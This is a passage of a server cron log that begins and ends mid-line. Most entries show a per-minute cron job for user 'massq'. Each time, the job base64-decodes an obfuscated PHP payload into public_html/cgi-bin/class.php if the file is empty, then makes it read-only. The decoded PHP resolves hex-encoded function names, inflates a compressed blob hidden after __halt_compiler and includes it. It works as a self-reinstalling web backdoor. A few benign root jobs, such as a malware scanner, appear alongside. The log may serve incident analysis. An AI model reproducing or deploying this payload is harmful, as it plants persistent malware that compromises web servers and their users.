"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:52:01 server CROND[10030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:53:01 server CROND[10109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:54:01 server CROND[10249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:55:01 server CROND[10311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:55:01 server CROND[10312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:55:01 server CROND[10313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:56:01 server CROND[10459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:57:01 server CROND[10627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:57:01 server CROND[10628]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 15:58:01 server CROND[10715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:59:01 server CROND[10875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:00:01 server CROND[10942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:00:01 server CROND[10944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:00:01 server CROND[10945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 16:00:01 server CROND[10952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:00:01 server CROND[10956]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 16:01:01 server CROND[11066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:01:01 server CROND[11067]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 16:01:01 server run-parts(/etc/cron.hourly)[11067]: starting 0anacron
Apr  8 16:01:01 server run-parts(/etc/cron.hourly)[11079]: finished 0anacron
Apr  8 16:02:01 server CROND[11141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:03:01 server CROND[11193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:04:01 server CROND[11355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt